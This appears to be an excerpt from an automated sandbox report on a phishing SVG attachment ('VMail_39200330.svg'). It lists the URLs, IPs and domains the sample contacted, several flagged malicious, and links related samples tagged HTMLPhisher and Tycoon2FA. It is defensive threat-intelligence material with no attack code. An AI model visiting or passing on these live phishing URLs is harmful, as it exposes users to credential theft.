https://t4e6yt0fqnq1spaecdwkrsj1djrgbqw0guy0pbiqepctmd4lwsrd.koaxw.es/NoPmujdULrkQCeYeYsQSHCDZBJJTBZZLCYAJUUNQMLVINJQNBHNVHRQJUHMPNBQQNQUXQZABEJUPKLMFrs6UEPLqURRIba3gyzUolauv31	false	Avira URL Cloud: safe	unknown
https://abc.lyraxw.es/HX1rTg/#Xce6azz@dxzvthq.co	false		unknown
https://abc.lyraxw.es/GDSherpa-bold.woff	false	Avira URL Cloud: safe	unknown
https://providentfundquery.in/vmail	true	Avira URL Cloud: safe	unknown
https://ok4static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css	false		high
https://t4e6yt0fqnq1spaecdwkrsj1djrgbqw0guy0pbiqepctmd4lwsrd.koaxw.es/NoPmujdULrkQCeYeYsQSHCDZBJJTBZZLCYAJUUNQMLVINJQNBHNVHRQJUHMPNBQQNQUXQZABEJUPKLMFpquQcWqb4344q30c2uv40	false	Avira URL Cloud: safe	unknown
https://dawn-dust-7616.kpapp.workers.dev/?email=ce6azz%40dxzvthq.co	false	Avira URL Cloud: safe	unknown
https://t4e6yt0fqnq1spaecdwkrsj1djrgbqw0guy0pbiqepctmd4lwsrd.koaxw.es/NoPmujdULrkQCeYeYsQSHCDZBJJTBZZLCYAJUUNQMLVINJQNBHNVHRQJUHMPNBQQNQUXQZABEJUPKLMFrs2jB9kfsda6CqQyz1yHRwx40	false	Avira URL Cloud: safe	unknown
https://abc.lyraxw.es/GDSherpa-bold.woff2	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback	false		high
https://a.nel.cloudflare.com/report/v4?s=q0NJH9Eo1uM4%2FQYD0cptmLaqA8DIcanxI9e1%2F41098IfPQjNk9bnVtuhMl2bI1qxKQ6C9m%2FZKHaRWKrzFx3Gdab04OPwIxO%2B3oVdgye2sswNSLqAi4pvMtAaZOJpBLRtgAbd	false		high
https://upload.wikimedia.org/wikipedia/commons/4/44/Microsoft_logo.svg	false		high
https://providentfundquery.in/favicon.ico	false	Avira URL Cloud: safe	unknown
https://abc.lyraxw.es/HX1rTg/	true	Avira URL Cloud: safe	unknown
https://abc.lyraxw.es/yz9nJ96mWPUqO6569NQJB0Iyka1bclYFfgrsFPonTi9mJHOHEJawYZsI3b5RB90178	false	Avira URL Cloud: safe	unknown
https://a.nel.cloudflare.com/report/v4?s=VvPCnh2rp8aGjM9swHgIa1LAYJwV7Oal7Uee%2B7q2N6kdISS2vaEp8Po4%2FAfUvJsBXa94ZrtyvXGCNaKo%2FBeTFnYamSMvoag65vZtY3kbEJd4Gp9MwyxzIPNdVvx0rRCkXl2Z	false		high
https://abc.lyraxw.es/kfAVOnbCDOBJsIbpoSXWLv0fluppYIKFpulqbrGKTCRx378hottrq0jy	false	Avira URL Cloud: safe	unknown
https://developers.cloudflare.com/favicon.png	false		high
https://abc.lyraxw.es/GDSherpa-regular.woff	false	Avira URL Cloud: safe	unknown
https://abc.lyraxw.es/wx3AdDnumR1SJPrIXuqrAlc1Jb57I0zYo34124	false	Avira URL Cloud: safe	unknown
https://t4e6yt0fqnq1spaecdwkrsj1djrgbqw0guy0pbiqepctmd4lwsrd.koaxw.es/NoPmujdULrkQCeYeYsQSHCDZBJJTBZZLCYAJUUNQMLVINJQNBHNVHRQJUHMPNBQQNQUXQZABEJUPKLMFrsacEon9vYb0AY12RFuv40	false	Avira URL Cloud: safe	unknown
https://get.geojs.io/v1/ip/geo.json	false		high
https://t4e6yt0fqnq1spaecdwkrsj1djrgbqw0guy0pbiqepctmd4lwsrd.koaxw.es/NoPmujdULrkQCeYeYsQSHCDZBJJTBZZLCYAJUUNQMLVINJQNBHNVHRQJUHMPNBQQNQUXQZABEJUPKLMFpqeunK3xgHPu34dpmimwx33	false	Avira URL Cloud: safe	unknown
https://abc.lyraxw.es/34C7V2eBuqSuT957ghm7Ry8Vg2Gs89110	false	Avira URL Cloud: safe	unknown
https://abc.lyraxw.es/GDSherpa-vf2.woff2	false	Avira URL Cloud: safe	unknown
https://abc.lyraxw.es/ajjTaO6WIX5onvbznROzG467IJMTplstVbZF4nADQ7h61aXCb4RM4y7	false	Avira URL Cloud: safe	unknown
https://abc.lyraxw.es/ijBaFXznSRZpB4rxWfYzXd4UXITsz20T7km6cMcd5LcjyGcbr2O7E1Yh78170	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://github.com/fent)	chromecache_111.2.dr	false		high
https://www.walmart.com	chromecache_100.2.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.177.58	dawn-dust-7616.kpapp.workers.dev	United States	13335	CLOUDFLARENETUS	false
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
13.33.187.14	d19d360lklgih4.cloudfront.net	United States	16509	AMAZON-02US	false
104.26.1.100	unknown	United States	13335	CLOUDFLARENETUS	false
104.21.80.1	abc.lyraxw.es	United States	13335	CLOUDFLARENETUS	true
151.101.130.137	code.jquery.com	United States	54113	FASTLYUS	false
104.21.112.1	unknown	United States	13335	CLOUDFLARENETUS	false
185.15.59.240	upload.wikimedia.org	Netherlands	14907	WIKIMEDIAUS	false
185.199.109.133	objects.githubusercontent.com	Netherlands	54113	FASTLYUS	false
172.67.220.176	pb7t0b.jnfemo.ru	United States	13335	CLOUDFLARENETUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.16.6.189	unknown	United States	13335	CLOUDFLARENETUS	false
140.82.121.4	github.com	United States	36459	GITHUBUS	false
103.92.235.25	providentfundquery.in	India	138251	ZINIOSS-AS-INZiniosInformationTechnologyPvtLtdIN	true
142.250.185.196	www.google.com	United States	15169	GOOGLEUS	false
188.114.97.3	t4e6yt0fqnq1spaecdwkrsj1djrgbqw0guy0pbiqepctmd4lwsrd.koaxw.es	European Union	13335	CLOUDFLARENETUS	false
172.67.70.233	get.geojs.io	United States	13335	CLOUDFLARENETUS	false
104.16.4.189	developers.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1640967
Start date and time:	2025-03-17 23:10:01 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	VMail_39200330.svg
Detection:	MAL
Classification:	mal100.phis.evad.winSVG@25/85@48/20
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .svg

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, sppsvc.exe, RuntimeBroker.exe, ShellExperienceHost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.16.206, 172.217.18.3, 172.217.18.14, 64.233.167.84, 142.250.185.174, 172.217.23.110, 216.58.206.46, 142.250.184.202, 216.58.212.170, 142.250.186.138, 142.250.186.170, 142.250.186.106, 142.250.185.106, 172.217.16.138, 142.250.186.42, 172.217.18.10, 142.250.185.138, 142.250.185.170, 216.58.206.74, 142.250.185.74, 142.250.184.234, 216.58.212.138, 142.250.186.74, 2.23.77.188, 2.16.100.168, 142.250.186.142, 142.250.185.238, 142.250.74.206, 199.232.210.172, 216.58.206.42, 142.250.185.234, 142.250.185.202, 142.250.181.234, 172.217.16.202, 142.250.184.206, 142.250.185.163, 216.58.212.142, 2.16.185.191, 20.109.210.53
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fp-afd-nocache-ccp.azureedge.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, ocsp.digicert.com, update.googleapis.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.177.58	https://vestasonline.top/	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse
	http://stream-sports.org/	Get hash	malicious	Unknown	Browse
	http://stream-sports.org/	Get hash	malicious	Unknown	Browse
104.18.94.41	https://blgwlnauto.com/kylefax/faxdocuments.html	Get hash	malicious	HTMLPhisher	Browse
	Emarine System Contact Update.pdf	Get hash	malicious	HTMLPhisher	Browse
	https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhMl349dE-2BIxYKCLpL5-2B-2FL8px39hmRTYxAZ-2BeMH1CR7jYvsg3f7mQR-2BtgzEdpv6rWDyoEa1Isq60WafIaat9IMqfozrbRuGiDhSD5zRfw1vSUnaPfHOkeKVWyjmgPghsIl-2FnSiz3vjd-2BgNdZNW1WWi7RlhTni8jQbV4O1UkQOa0-2F2VYGlXOPUclqMwRi50Vl1PR4j2jhVrjOnUdA6E03jJF3YxTMCgxElFH-2Bjnu2oS6ZdGJGXf9TKr37Eh3pnVym0G5ilxnSN6bJyz-2FWbi47cL6vQDH-2FLX6HDdsxLQr4OiWNyplfwZIjGldJH3Oj3k-2B0Sr92pyHOs07I3QG9CN9BFC52s0blv8XoiBzACqb7MDZTgdhgx-2Fj3fdHjRUqn0E0aUxawEH-2F-2B7SQiAWk4bi4jHEXI-3DlKA5_AMa9RrBWZfrIG11ZEW0ArF1BRI9e8rcrPZr5T9DlZ7Ba2ZAvuJPwiS8cX4aFrXjFerUDwGcfFdNk6Ly7G30W-2FpJZ3vwwQM6aCBocvejnros7-2FYckwVQH02a6C13hCOZXCH6DxRozn9HOBenC-2BdqPCIwBV1vvkSKYyJjB4wo2MVyi5b4Ko6F9xhTiwowhGgTSo1JEnvhUu4BAFpCuBdmsFw-3D-3D	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	http://email.shop2.wonderpark.my/c/eJwUyk1uhSAQAODTwJIM8wPzFiy68R4KYzX1iRHTprdvuv9aiRbTDN5KzIyIokp-K7YirKlWzVWAeRFKVVflF5OpSvJ7QUABijkKKVBgihmqGWBeYGnsGMbWLww__Wx2X_P9Fd6__ijb81zD0YfDyeFk80tZKK9iUJtASjaTNA2LnWO_eqj97XDyd7EWtv45n6OfjqHeNp5jP23rjx3jn_nvgn8BAAD__y9yPWo	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	2450856955_.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://h89s9dhj.ccbequipamentos.com.br/?noiajvga=2bdd817baf4e46e28f740a82bff8e850881b2c9159d1f9f1d332e339e76eea813a3f5893897cb7539a84e2eac2026594b5d62df0bbf5820b252c5afd2b02c9cd	Get hash	malicious	HTMLPhisher	Browse
	https://storage.googleapis.com/dfh7d89fh7df4j65djf4g65j4s6fg7j/031.html#LAst01.html?syb=1x167d493f46630a_vl_b2d.ja6t63xhxq8-0bmkl2j.54qf18g.BOwWGLPM3hoeHE4LTBibWtsMmo0u6Nvi	Get hash	malicious	Phisher	Browse
	https://docs.faxcloudstorage.de/uTN1Q	Get hash	malicious	HTMLPhisher	Browse
	https://loginonlinesettings-deme-group.jro7k.com/?&em=am9yaXMuZGltaXRyeUBkZW1lLWdyb3VwLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse
	https://stelladass.co.uk/ra3.pdf	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
13.33.187.14	437cb98f-02e6-3095-7a14-f6ed0fcbd9b6.eml	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhMl349dE-2BIxYKCLpL5-2B-2FL8px39hmRTYxAZ-2BeMH1CR7jYvsg3f7mQR-2BtgzEdpv6rWDyoEa1Isq60WafIaat9IMqfozrbRuGiDhSD5zRfw1vSUnaPfHOkeKVWyjmgPghsIl-2FnSiz3vjd-2BgNdZNW1WWi7RlhTni8jQbV4O1UkQOa0-2F2VYGlXOPUclqMwRi50Vl1PR4j2jhVrjOnUdA6E03jJF3YxTMCgxElFH-2Bjnu2oS6ZdGJGXf9TKr37Eh3pnVym0G5ilxnSN6bJyz-2FWbi47cL6vQDH-2FLX6HDdsxLQr4OiWNyplfwZIjGldJH3Oj3k-2B0Sr92pyHOs07I3QG9CN9BFC52s0blv8XoiBzACqb7MDZTgdhgx-2Fj3fdHjRUqn0E0aUxawEH-2F-2B7SQiAWk4bi4jHEXI-3DlKA5_AMa9RrBWZfrIG11ZEW0ArF1BRI9e8rcrPZr5T9DlZ7Ba2ZAvuJPwiS8cX4aFrXjFerUDwGcfFdNk6Ly7G30W-2FpJZ3vwwQM6aCBocvejnros7-2FYckwVQH02a6C13hCOZXCH6DxRozn9HOBenC-2BdqPCIwBV1vvkSKYyJjB4wo2MVyi5b4Ko6F9xhTiwowhGgTSo1JEnvhUu4BAFpCuBdmsFw-3D-3D	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhGNZUddqwhjRz7Y3aH-2F1iEXujVcSjMM7CY7q30axNIjPtSPwVANtpwkARse71YbTG6hv5YyKcZ3EG9czO3tuqWXIHvFV-2FdtzTRYY9DFBEvbC0MnWDkjPffSjdhbZvMXBG-2Fbl-2F1JQalpy10ZBTpuDmJw8qtDG1RR-2FO-2Bzqy6Ryg-2BIXW6P-2FRmEE7JdIRaCncCouVLTVsWciZPEjkoHD7BDf7qzUctKE-2Fuov9RtCNiCQmJmwXCDa5dDgefQoLRKRDmR4vQ-3D-3DKnfO_4-2BCeSnTfNElQaOz0iIYXcY63TczAP34ghOtoTraLSwoOLAyQYuLOf75Ty99J50dacfCtsIK1GZvxQM45z1qBFZ9wseL0KuFhELugADtC7G-2Bvzzdi1qvZkAsCG7tQfhZagkro3woJV3MTqoQy1rs8sT0Ut5uYpsrniDcVKn6MJEnCWRsblRYyJRkv-2BYtQV-2BKUm1WYOzDqDkYxny3kQFWCbISNT8xpoE2o-2BIn1-2FK5Ue8M-3D	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	Wpb00990__098.html	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://stelladass.co.uk/ra3.pdf	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://vleducationdemo.com/cllascio.php?342d363837343734373037333361326632663561353933373761326536363664363137393664376136613730326537323735326636363439363336313465363437353532363537303631353332662d	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://apply.atu.ie/_entity/sharepointdocumentlocation/a10f35db-a302-f011-bae2-7c1e524f2423/903e00e6-7542-ee11-bdf3-6045bd8c56d2?file=CONFIDENTIALDoc_Au89994.pdf	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	Sweepingcorp00990__098.html	Get hash	malicious	HTMLPhisher	Browse
	http://t.go.rac.co.uk/r/?id=h1020a75,d7623c,1ac8b&p1=r%EF%BB%BF%EF%BB%BFe%EF%BB%BF%EF%BB%BFv%EF%BB%BF%EF%BB%BFi%EF%BB%BF%EF%BB%BFe%EF%BB%BF%EF%BB%BFw%EF%BB%BF%EF%BB%BFs%EF%BB%BF%EF%BB%BFt%EF%BB%BF%EF%BB%BFi%EF%BB%BF%EF%BB%BFp%EF%BB%BF%EF%BB%BFs%EF%BB%BF%EF%BB%BFa%EF%BB%BF%EF%BB%BFn%EF%BB%BF%EF%BB%BFd%EF%BB%BF%EF%BB%BFo%EF%BB%BF%EF%BB%BFf%EF%BB%BF%EF%BB%BFf%EF%BB%BF%EF%BB%BFe%EF%BB%BF%EF%BB%BFr%EF%BB%BF%EF%BB%BFs.com/sys/html/SNRgusxqYwmKT0SXMypB0/aW52ZXN0bWVudHNAZmlyc3RvbnRhcmlvLmNvbQ==	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://encryption-marinha.jkndfuzv.ru/PtM2i/$nadia.sofia.rijo@marinha.pt	Get hash	malicious	Unknown	Browse
104.26.1.100	install.exe	Get hash	malicious	Unknown	Browse	get.geojs.io/v1/ip/geo.json

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cdnjs.cloudflare.com	437cb98f-02e6-3095-7a14-f6ed0fcbd9b6.eml	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.25.14
	Play Voicemail Transcription. (387.KB).svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.24.14
	securedoc_20250312T094219.html	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhMl349dE-2BIxYKCLpL5-2B-2FL8px39hmRTYxAZ-2BeMH1CR7jYvsg3f7mQR-2BtgzEdpv6rWDyoEa1Isq60WafIaat9IMqfozrbRuGiDhSD5zRfw1vSUnaPfHOkeKVWyjmgPghsIl-2FnSiz3vjd-2BgNdZNW1WWi7RlhTni8jQbV4O1UkQOa0-2F2VYGlXOPUclqMwRi50Vl1PR4j2jhVrjOnUdA6E03jJF3YxTMCgxElFH-2Bjnu2oS6ZdGJGXf9TKr37Eh3pnVym0G5ilxnSN6bJyz-2FWbi47cL6vQDH-2FLX6HDdsxLQr4OiWNyplfwZIjGldJH3Oj3k-2B0Sr92pyHOs07I3QG9CN9BFC52s0blv8XoiBzACqb7MDZTgdhgx-2Fj3fdHjRUqn0E0aUxawEH-2F-2B7SQiAWk4bi4jHEXI-3DlKA5_AMa9RrBWZfrIG11ZEW0ArF1BRI9e8rcrPZr5T9DlZ7Ba2ZAvuJPwiS8cX4aFrXjFerUDwGcfFdNk6Ly7G30W-2FpJZ3vwwQM6aCBocvejnros7-2FYckwVQH02a6C13hCOZXCH6DxRozn9HOBenC-2BdqPCIwBV1vvkSKYyJjB4wo2MVyi5b4Ko6F9xhTiwowhGgTSo1JEnvhUu4BAFpCuBdmsFw-3D-3D	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.25.14
	1099-NEC.pdf	Get hash	malicious	RHADAMANTHYS	Browse	104.17.24.14
	http://email.shop2.wonderpark.my/c/eJwUyk1uhSAQAODTwJIM8wPzFiy68R4KYzX1iRHTprdvuv9aiRbTDN5KzIyIokp-K7YirKlWzVWAeRFKVVflF5OpSvJ7QUABijkKKVBgihmqGWBeYGnsGMbWLww__Wx2X_P9Fd6__ijb81zD0YfDyeFk80tZKK9iUJtASjaTNA2LnWO_eqj97XDyd7EWtv45n6OfjqHeNp5jP23rjx3jn_nvgn8BAAD__y9yPWo	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.24.14
	2450856955_.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.25.14
	https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhGNZUddqwhjRz7Y3aH-2F1iEXujVcSjMM7CY7q30axNIjPtSPwVANtpwkARse71YbTG6hv5YyKcZ3EG9czO3tuqWXIHvFV-2FdtzTRYY9DFBEvbC0MnWDkjPffSjdhbZvMXBG-2Fbl-2F1JQalpy10ZBTpuDmJw8qtDG1RR-2FO-2Bzqy6Ryg-2BIXW6P-2FRmEE7JdIRaCncCouVLTVsWciZPEjkoHD7BDf7qzUctKE-2Fuov9RtCNiCQmJmwXCDa5dDgefQoLRKRDmR4vQ-3D-3DKnfO_4-2BCeSnTfNElQaOz0iIYXcY63TczAP34ghOtoTraLSwoOLAyQYuLOf75Ty99J50dacfCtsIK1GZvxQM45z1qBFZ9wseL0KuFhELugADtC7G-2Bvzzdi1qvZkAsCG7tQfhZagkro3woJV3MTqoQy1rs8sT0Ut5uYpsrniDcVKn6MJEnCWRsblRYyJRkv-2BYtQV-2BKUm1WYOzDqDkYxny3kQFWCbISNT8xpoE2o-2BIn1-2FK5Ue8M-3D	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.24.14
	VM(Carmen)52177372.mp4.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://forms.office.com/e/CzYzGKsuJ0h0Qz9CdMLPYe0NavsKbyZ12uW0kP6	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
github.com	437cb98f-02e6-3095-7a14-f6ed0fcbd9b6.eml	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.121.4
	Play Voicemail Transcription. (387.KB).svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.121.4
	T3-03-17.bat	Get hash	malicious	Braodo	Browse	140.82.121.3
	https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhMl349dE-2BIxYKCLpL5-2B-2FL8px39hmRTYxAZ-2BeMH1CR7jYvsg3f7mQR-2BtgzEdpv6rWDyoEa1Isq60WafIaat9IMqfozrbRuGiDhSD5zRfw1vSUnaPfHOkeKVWyjmgPghsIl-2FnSiz3vjd-2BgNdZNW1WWi7RlhTni8jQbV4O1UkQOa0-2F2VYGlXOPUclqMwRi50Vl1PR4j2jhVrjOnUdA6E03jJF3YxTMCgxElFH-2Bjnu2oS6ZdGJGXf9TKr37Eh3pnVym0G5ilxnSN6bJyz-2FWbi47cL6vQDH-2FLX6HDdsxLQr4OiWNyplfwZIjGldJH3Oj3k-2B0Sr92pyHOs07I3QG9CN9BFC52s0blv8XoiBzACqb7MDZTgdhgx-2Fj3fdHjRUqn0E0aUxawEH-2F-2B7SQiAWk4bi4jHEXI-3DlKA5_AMa9RrBWZfrIG11ZEW0ArF1BRI9e8rcrPZr5T9DlZ7Ba2ZAvuJPwiS8cX4aFrXjFerUDwGcfFdNk6Ly7G30W-2FpJZ3vwwQM6aCBocvejnros7-2FYckwVQH02a6C13hCOZXCH6DxRozn9HOBenC-2BdqPCIwBV1vvkSKYyJjB4wo2MVyi5b4Ko6F9xhTiwowhGgTSo1JEnvhUu4BAFpCuBdmsFw-3D-3D	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.121.4
	https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhGNZUddqwhjRz7Y3aH-2F1iEXujVcSjMM7CY7q30axNIjPtSPwVANtpwkARse71YbTG6hv5YyKcZ3EG9czO3tuqWXIHvFV-2FdtzTRYY9DFBEvbC0MnWDkjPffSjdhbZvMXBG-2Fbl-2F1JQalpy10ZBTpuDmJw8qtDG1RR-2FO-2Bzqy6Ryg-2BIXW6P-2FRmEE7JdIRaCncCouVLTVsWciZPEjkoHD7BDf7qzUctKE-2Fuov9RtCNiCQmJmwXCDa5dDgefQoLRKRDmR4vQ-3D-3DKnfO_4-2BCeSnTfNElQaOz0iIYXcY63TczAP34ghOtoTraLSwoOLAyQYuLOf75Ty99J50dacfCtsIK1GZvxQM45z1qBFZ9wseL0KuFhELugADtC7G-2Bvzzdi1qvZkAsCG7tQfhZagkro3woJV3MTqoQy1rs8sT0Ut5uYpsrniDcVKn6MJEnCWRsblRYyJRkv-2BYtQV-2BKUm1WYOzDqDkYxny3kQFWCbISNT8xpoE2o-2BIn1-2FK5Ue8M-3D	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.121.3
	Wpb00990__098.html	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.121.4
	https://stelladass.co.uk/ra3.pdf	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.121.3
	https://vleducationdemo.com/cllascio.php?342d363837343734373037333361326632663561353933373761326536363664363137393664376136613730326537323735326636363439363336313465363437353532363537303631353332662d	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.121.3
	sryxen-built.exe	Get hash	malicious	Unknown	Browse	140.82.121.3
code.jquery.com	Play_VM-Now(bfrieden)VWAV.xhtml	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	437cb98f-02e6-3095-7a14-f6ed0fcbd9b6.eml	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.130.137
	Play Voicemail Transcription. (387.KB).svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.2.137
	Play_VM-Now(eric.basil)VWAV.xhtml	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	https://analytics.zoho.com/open-view/3062125000000006086	Get hash	malicious	Unknown	Browse	151.101.194.137
	https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhMl349dE-2BIxYKCLpL5-2B-2FL8px39hmRTYxAZ-2BeMH1CR7jYvsg3f7mQR-2BtgzEdpv6rWDyoEa1Isq60WafIaat9IMqfozrbRuGiDhSD5zRfw1vSUnaPfHOkeKVWyjmgPghsIl-2FnSiz3vjd-2BgNdZNW1WWi7RlhTni8jQbV4O1UkQOa0-2F2VYGlXOPUclqMwRi50Vl1PR4j2jhVrjOnUdA6E03jJF3YxTMCgxElFH-2Bjnu2oS6ZdGJGXf9TKr37Eh3pnVym0G5ilxnSN6bJyz-2FWbi47cL6vQDH-2FLX6HDdsxLQr4OiWNyplfwZIjGldJH3Oj3k-2B0Sr92pyHOs07I3QG9CN9BFC52s0blv8XoiBzACqb7MDZTgdhgx-2Fj3fdHjRUqn0E0aUxawEH-2F-2B7SQiAWk4bi4jHEXI-3DlKA5_AMa9RrBWZfrIG11ZEW0ArF1BRI9e8rcrPZr5T9DlZ7Ba2ZAvuJPwiS8cX4aFrXjFerUDwGcfFdNk6Ly7G30W-2FpJZ3vwwQM6aCBocvejnros7-2FYckwVQH02a6C13hCOZXCH6DxRozn9HOBenC-2BdqPCIwBV1vvkSKYyJjB4wo2MVyi5b4Ko6F9xhTiwowhGgTSo1JEnvhUu4BAFpCuBdmsFw-3D-3D	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.2.137
	http://email.shop2.wonderpark.my/c/eJwUyk1uhSAQAODTwJIM8wPzFiy68R4KYzX1iRHTprdvuv9aiRbTDN5KzIyIokp-K7YirKlWzVWAeRFKVVflF5OpSvJ7QUABijkKKVBgihmqGWBeYGnsGMbWLww__Wx2X_P9Fd6__ijb81zD0YfDyeFk80tZKK9iUJtASjaTNA2LnWO_eqj97XDyd7EWtv45n6OfjqHeNp5jP23rjx3jn_nvgn8BAAD__y9yPWo	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.66.137
	2450856955_.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.130.137
	https://www.languagesim.com/interpretationterms/	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhGNZUddqwhjRz7Y3aH-2F1iEXujVcSjMM7CY7q30axNIjPtSPwVANtpwkARse71YbTG6hv5YyKcZ3EG9czO3tuqWXIHvFV-2FdtzTRYY9DFBEvbC0MnWDkjPffSjdhbZvMXBG-2Fbl-2F1JQalpy10ZBTpuDmJw8qtDG1RR-2FO-2Bzqy6Ryg-2BIXW6P-2FRmEE7JdIRaCncCouVLTVsWciZPEjkoHD7BDf7qzUctKE-2Fuov9RtCNiCQmJmwXCDa5dDgefQoLRKRDmR4vQ-3D-3DKnfO_4-2BCeSnTfNElQaOz0iIYXcY63TczAP34ghOtoTraLSwoOLAyQYuLOf75Ty99J50dacfCtsIK1GZvxQM45z1qBFZ9wseL0KuFhELugADtC7G-2Bvzzdi1qvZkAsCG7tQfhZagkro3woJV3MTqoQy1rs8sT0Ut5uYpsrniDcVKn6MJEnCWRsblRYyJRkv-2BYtQV-2BKUm1WYOzDqDkYxny3kQFWCbISNT8xpoE2o-2BIn1-2FK5Ue8M-3D	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.194.137
developers.cloudflare.com	437cb98f-02e6-3095-7a14-f6ed0fcbd9b6.eml	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	Play Voicemail Transcription. (387.KB).svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.6.189
